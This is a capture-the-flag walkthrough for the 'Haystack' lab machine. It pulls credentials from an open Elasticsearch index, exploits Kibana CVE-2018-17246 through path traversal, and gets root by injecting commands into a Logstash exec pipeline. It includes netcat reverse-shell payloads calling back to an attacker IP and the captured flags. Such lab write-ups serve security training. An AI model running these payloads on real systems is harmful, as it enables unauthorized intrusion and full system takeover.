Difficulty: Easy
Technologies: Elasticsearch, Logstash
Vulnerabilities: Credentials in open database, log stash command as root

Walkthrough

Scan for open ports:

nmap -n -Pn -sS 10.10.10.115 --top-ports 1000

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9200/tcp open  wap-wsp

On port 9200 there is a Elasticsearch which can be queried using the API

curl -XGET http://10.10.10.115:9200/_xpack | python -m json.tool
...
{
    "build": {
        "date": "2018-09-26T13:37:49.715743Z",
        "hash": "04711c2"
    },
    "features": {
        "graph": {
            "available": false,
            "description": "Graph Data Exploration for the Elastic Stack",
            "enabled": true
        },
        "logstash": {
            "available": false,
            "description": "Logstash management component for X-Pack",
            "enabled": true
        },
        "ml": {
            "available": false,
            "description": "Machine Learning for the Elastic Stack",
            "enabled": true,
            "native_code_info": {
                "build_hash": "660eefe6f2ea55",
                "version": "6.4.2"
            }
        },
        "monitoring": {
            "available": true,
            "description": "Monitoring for the Elastic Stack",
            "enabled": true
        },
        "rollup": {
            "available": true,
            "description": "Time series pre-aggregation and rollup",
            "enabled": true
        },
        "security": {
            "available": false,
            "description": "Security for the Elastic Stack",
            "enabled": true
        },
        "watcher": {
            "available": false,
            "description": "Alerting, Notification and Automation for the Elastic Stack",
            "enabled": true
        }
    },
    "license": {
        "mode": "basic",
        "status": "active",
        "type": "basic",
        "uid": "b90feef1-5656-4e6d-873b-942bb078cbba"
    },
    "tagline": "You know, for X"
}


curl -XGET 'http://10.10.10.115:9200/_cat/indices?v'
health status index   uuid                   pri rep docs.count docs.deleted store.size pri.store.size
green  open   .kibana 6tjAYZrgQ5CwwR0g6VOoRg   1   0          1            0        4kb            4kb
yellow open   quotes  ZG2D1IqkQNiNZmi2HRImnQ   5   1        253            0    262.7kb        262.7kb
yellow open   bank    eSVpNfCfREyYoVigNWcrMw   5   1       1000            0    483.2kb        483.2kb


curl --GET 'http://10.10.10.115:9200/quotes/_search?pretty&size=500&q=*:*'  > quotes.json
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  185k  100  185k    0     0   685k      0 --:--:-- --:--:-- --:--:--  682k


curl --GET 'http://10.10.10.115:9200/bank/_search?pretty&size=500&q=*:*'  > bank.json
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  249k  100  249k    0     0   663k      0 --:--:-- --:--:-- --:--:--  663k


ls -l *json
-rw-r--r-- 1 root root 255637 Okt 22 07:29 bank.json
-rw-r--r-- 1 root root 190137 Okt 22 07:28 quotes.json

Found an additional hint in the image itself

strings needle.jpg 
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==

This translates to la aguja en el pajar es „clave“

Found something inside the haystack

        "_index" : "quotes",
        "_type" : "quote",
        "_id" : "111",
        "_score" : 1.0,
        "_source" : {
          "quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
        }
      },

Tranlsates to „This key can’t be lost, I keep it here“. The base64 can be decoded to: pass: spanish.is.key

grep clave *json
quotes.json:          "quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
quotes.json:          "quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "

The second entry tanslates to „I have to keep the key for the machine“. The base64 can be decoded to: user: security

We are able to log in

ssh security@10.10.10.115
...
security@10.10.10.115's password: 
Last login: Wed Feb  6 20:53:59 2019 from 192.168.2.154
[security@haystack ~]$ 

[security@haystack ~]$ id -a
uid=1000(security) gid=1000(security) Gruppen=1000(security) Kontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[security@haystack ~]$ cat user.txt
04d18bc79dac1d4d48ee0a940c8eb929

The kibana installed on the machine suffers https://www.cvedetails.com/cve/CVE-2018-17246/ but the port is only open from the inside. So we open a tunnel

ben@kali:/var/www/html$ ssh -L 5601:127.0.0.1:5601 security@10.10.10.115
security@10.10.10.115's password: 
Last login: Tue Oct 22 09:46:44 2019 from 10.10.14.2
[security@haystack ~]$ 

Trying the DOS attack seems to work, request in burp

GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../cli_plugin/cli.js  HTTP/1.1
Host: localhost:5601
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:5601/app/kibana
kbn-version: 6.4.2
X-Requested-With: XMLHttpRequest
Connection: close

We upload a netcat and prepare a reverse shell

root@kali:/var/www/html# scp /bin/nc security@10.10.10.115:/tmp/

[security@haystack tmp]$ cat loc4.js 
var exec = require('child_process').exec;
var child = exec('/tmp/nc 10.10.14.2 4444 -e /bin/bash', function(error, stdout, stderr) {
  if (error) console.log(error);
  process.stdout.write(stdout);
  process.stderr.write(stderr);
});


python -c 'import pty; pty.spawn("/bin/sh")'


sh-4.2$ id -a
id -a
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0

Logstash is running as root, additionally its configuration seems to be able to execute commands

cat input.conf filter.conf output.conf
input {
	file {
		path => "/opt/kibana/logstash_*"
		start_position => "beginning"
		sincedb_path => "/dev/null"
		stat_interval => "10 second"
		type => "execute"
		mode => "read"
	}
}
filter {
	if [type] == "execute" {
		grok {
			match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
		}
	}
}
output {
	if [type] == "execute" {
		stdout { codec => json }
		exec {
			command => "%{comando} &"
		}
	}
}

We craft a proper payload using https://grokdebug.herokuapp.com/

ben@kali:~$ nc -nvlp 5555

sh-4.2$ echo "Ejecutar comando : /tmp/nc 10.10.14.2 5555 -e /bin/bash" >> /opt/kibana/logstash_cmd 

python -c 'import pty; pty.spawn("/bin/sh")'

sh-4.2# id -a
id -a
uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0

sh-4.2# cat root.txt
cat root.txt
3f5f727c38d9f70e1d2ad2ba11059d92